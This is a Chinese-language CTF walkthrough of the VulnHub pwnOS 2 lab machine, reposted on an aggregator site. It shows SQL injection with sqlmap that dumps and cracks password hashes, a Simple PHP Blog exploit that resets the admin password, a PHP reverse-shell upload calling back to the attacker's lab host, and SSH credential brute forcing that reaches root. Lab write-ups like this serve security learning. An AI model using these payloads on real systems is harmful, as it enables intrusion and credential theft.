pwnos2

news/2024/11/15 21:03:09/文章来源:https://www.cnblogs.com/ethereal258/p/18416397

这台靶机要自行配置攻击机在10.10.10.0/24网段下

sql注入

80端口login处发现可以注入的地方,sqlmap能梭出来很多东西,但是好像都登录不了,--os-shell也是没回显的

sqlmap -u http://10.10.10.100/login.php --data="email=1&pass=1&submit=Login&submitted=TRUE" -D ch16 -T users --dump -C email

+------------------+
| email            |
+------------------+
| admin@admin.com  |
| admin@isints.com |
+------------------++------------------------------------------+
| pass                                     |
+------------------------------------------+
| a6f6077d3947da34b11414ffeb86d8828ef9b005 |
| c2c4b4e51d9e23c02c15702c136c3e950ba9a4af |
+------------------------------------------+
123abc_
killerbeesareflying

目录扫描

dirb中扫描出来有搭建bolg服务

dirb http://10.10.10.100

进入index界面,使用之前爆出来的好像也是登录失败

查看源码发现是Simple PHP Blog 0.4.0,这一步还真得认真找找才能看到,只能说指纹识别这种还是多看看文件头或者源码时候全局搜索下by 字眼吧。

漏洞利用

searchsploit Simple PHP Blog 0.4.0

拿版本号完全一致的1191.pl来用,后面的哪个metasploit也行

searchsploit -m 1191.pl

要安装一下perl的环境依赖,不然跑不起来

sudo apt install libswitch-perl

image-20240911182014961

直接先试试dump一下他的密码,拿到的是和目录爆破出来中的config目录中泄露的一样的东西

perl 1191.pl -h http://10.10.10.100/blog -e 2 

那就直接修改密码

perl 1191.pl -h http://10.10.10.100/blog -e 3 -U ha -P ha

进入博客后台

发现存在图片上传的点,并且没有文件类型校验。

直接写上反弹马

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

触发的路径在之前dirb中可以发现到image的目录,点击即可触发

本地1234端口开启监听,成功getshell

nc -lvnp 1234                  
listening on [any] 1234 ...
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.100] 32903
bash: no job control in this shell
www-data@web:/var/www/blog/images$ ls
ls
back.php

建立一个交互性更好的shell

python -c "import pty;pty.spawn('/bin/bash')"

提权

sudo -l 发现需要密码,只能到处找点信息了

cat /etc/passwd |grep "/bin/bash"

发现存在root、mysql、dan三个用户

说起mysql,那就得去看看php网页目录下各种文件有没有连接数据库的密码了

/var/www找到了一个,但是使用了goodday后发现是错误的密码

www-data@web:/var/www$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.// Set the database access information as constants:DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');// Make the connection:$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
?>

但是在/var下又找到了另外一个

www-data@web:/var/www$ cat /var/mysqli_connect.php
cat /var/mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.// Set the database access information as constants:DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');// Make the connection:$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
?>

登录是成功登录了,但是发现搜到的东西和之前sqlmap一样,然后在想着怎么拿mysql的root用户干点什么事情。

[猥琐姿势]利用MySQL的root账号从而快速GetShell - 知乎 (zhihu.com)

https://blog.51cto.com/297020555/544763#

试了上面两篇都不行,感觉是因为默认情况下mysql服务仅localhost可访问导致的

那就开始碰运气了

拿目前已知的信息做两个表

┌──(root㉿kali)-[~/Desktop/vulnHub/pwnos2]
└─# cat user   
root
admin
isints
dan┌──(root㉿kali)-[~/Desktop/vulnHub/pwnos2]
└─# cat pass 
isints
123abc_
killerbeesareflying
root@ISIntS
goodday

使用工具爆破尝试

┌──(root㉿kali)-[~/Desktop/vulnHub/pwnos]
└─# crackmapexec ssh 10.10.10.100 -u user -p pass --continue-on-success | grep "+"
SSH                      10.10.10.100    22     10.10.10.100     [+] root:root@ISIntS (Pwn3d!)

ssh连接

┌──(root㉿kali)-[~/Desktop/vulnHub/pwnos]
└─# ssh root@10.10.10.100                                                                                                       
root@10.10.10.100's password: 
Permission denied, please try again.
root@10.10.10.100's password: 
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)* Documentation:  http://www.ubuntu.com/server/docSystem information as of Wed Jul 17 12:30:47 EDT 2024System load:  0.0               Processes:           82Usage of /:   2.9% of 38.64GB   Users logged in:     0Memory usage: 23%               IP address for eth0: 10.10.10.100Swap usage:   0%Graph this data and manage this system at https://landscape.canonical.com/
Last login: Mon May  9 19:29:03 2011
root@web:~# ls
root@web:~# sudo -l
Matching Defaults entries for root on this host:env_resetUser root may run the following commands on this host:(ALL : ALL) ALL

提权成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/798122.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

urllib自定义opener对象设置代理IP

urllib.request.urlopen()源代码——urlopen()在干什么返回opener.open(url, data, timeout)方法的结果_opener = None # _opener被赋值为None def urlopen(url, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,*, cafile=None, capath=None, cadefault=False, context=N…

成功塑造孩子的人生,这一步很关键!

塑造孩子行为极为重要 思维决定行为,行为决定习惯,这一理念在家庭教育中尤为重要。明智的家长如同经验丰富的指导者,细心关注并引领孩子塑造正确的行为。他们深知每个孩子都是独一无二的,拥有独特的性格与潜力,不可简单复制或预设。当孩子遭遇困难时,应及时给予支持引导其…

CSP 初赛要点复习

位运算 逻辑与、按位与之类的东西是不同的!“逻辑”的是判断两个数都不为 \(0\),“按位”的是判断两个数的每一个二进制位与的结果,是不同的。其他运算也类似。 运算符优先级如图所示:注意,~ 和 ! 是同级的。 加法位运算表示:a+b=(a^b)+((a&b)<<1)。

7、队列

1、链队#include<stdio.h> #include<malloc.h> #include<assert.h>#define ElemType inttypedef struct QueueNode{ElemType data;struct QueueNode* next; }QueueNode; typedef struct LinkQueue{QueueNode* front;//队头QueueNode* tail;//队尾 }LinkQueu…

内存对齐和缓冲区溢出攻击

.一、问候语 欢迎你来到我的博客! 二、什么是内存对齐计算机中内存空间都是按照字节(byte)进行划分的,所以从理论上讲对于任何类型的变量访问都可以从任意地址开始,但是在实际情况中,在访问特定类型变量的时候经常在特定的内存地址访问,所以这就需要把各种类型数据按照一定…

ARM SMMU原理与IOMMU技术(“VT-d” DMA、I/O虚拟化、内存虚拟化)

名词缩写ASID:Address Space ID 地址空间标识符 CD:Context Descriptor; 上下文描述符; CTP:Context-table pointer 上下文表指针 EPT:Extended Page Table 扩展页表 GPA:Guest Phyical Address 客人的实际地址 GVA:Guest Virtual Address 访客虚拟地址 HPA:Host…

博客园评论区头像换页更新解决方案

使用 MutationObserver 解决了评论区头像换页无法更新的问题。前言 博客园博客正文的评论区的每一条评论其实都是带用户头像链接的,因此有些博客主题利用这个链接,对评论新增了头像显示功能。 但是这部分功能只能在第一次加载页面时有效,一旦出现评论翻页、排序等操作,头像…

数学知识(初赛)

求最大公约数的技巧 利用辗转相除法,gcd(A,B)=gcd(B,A%B),就可以很快速求解。 应用:化简分数,数学题等等。原理:理解为一个长方形,然后要尽量去铺最大正方形,以满足铺满长方形。最后一个铺满长方形的那个正方形肯定是最大公约数。 如下图,这个长方形先铺一个绿色…

高等数学 2.4 隐函数及由参数方程确定的函数的导数

目录一、隐函数求导二、由参数方程所确定的函数的导数三、相关变化率 一、隐函数求导 函数 \(y = f(x)\) 表示两个变量 \(y\) 与 \(x\) 之间的对应关系,这种对应关系可以用各种不同方式表达,例如 \(y = \sin x\) ,\(y = \ln x + \sqrt{1 - x^2}\) 等。这种函数表达方式的特点…

小林coding学习笔记(内存页面置换算法)

缺页中断示意图1 在CPU里执行一条查找某个页面A的指令,首先是虚拟内存,会到虚拟内存和物理内存的映射关系的页表中查询。 2 页表中不存在需要查找的页面A的有效信息。 3 则触发缺页中断信号给操作系统,操作系统收到缺页中断信号后,就会去磁盘里面查找该页面。 4 操作系统在…

Unity中的三种渲染路径

Unity中的渲染路径 Unity的渲染路径 在Unity里,渲染路径(Rendering Path)决定了光照是如何应用到Unity Shader中的。因此,我们只有为Shader正确地选择和设置了需要的渲染路径,该shader的光照计算才可以被正确执行。 unity中的渲染路径:Forward Rendering Path (向前渲染…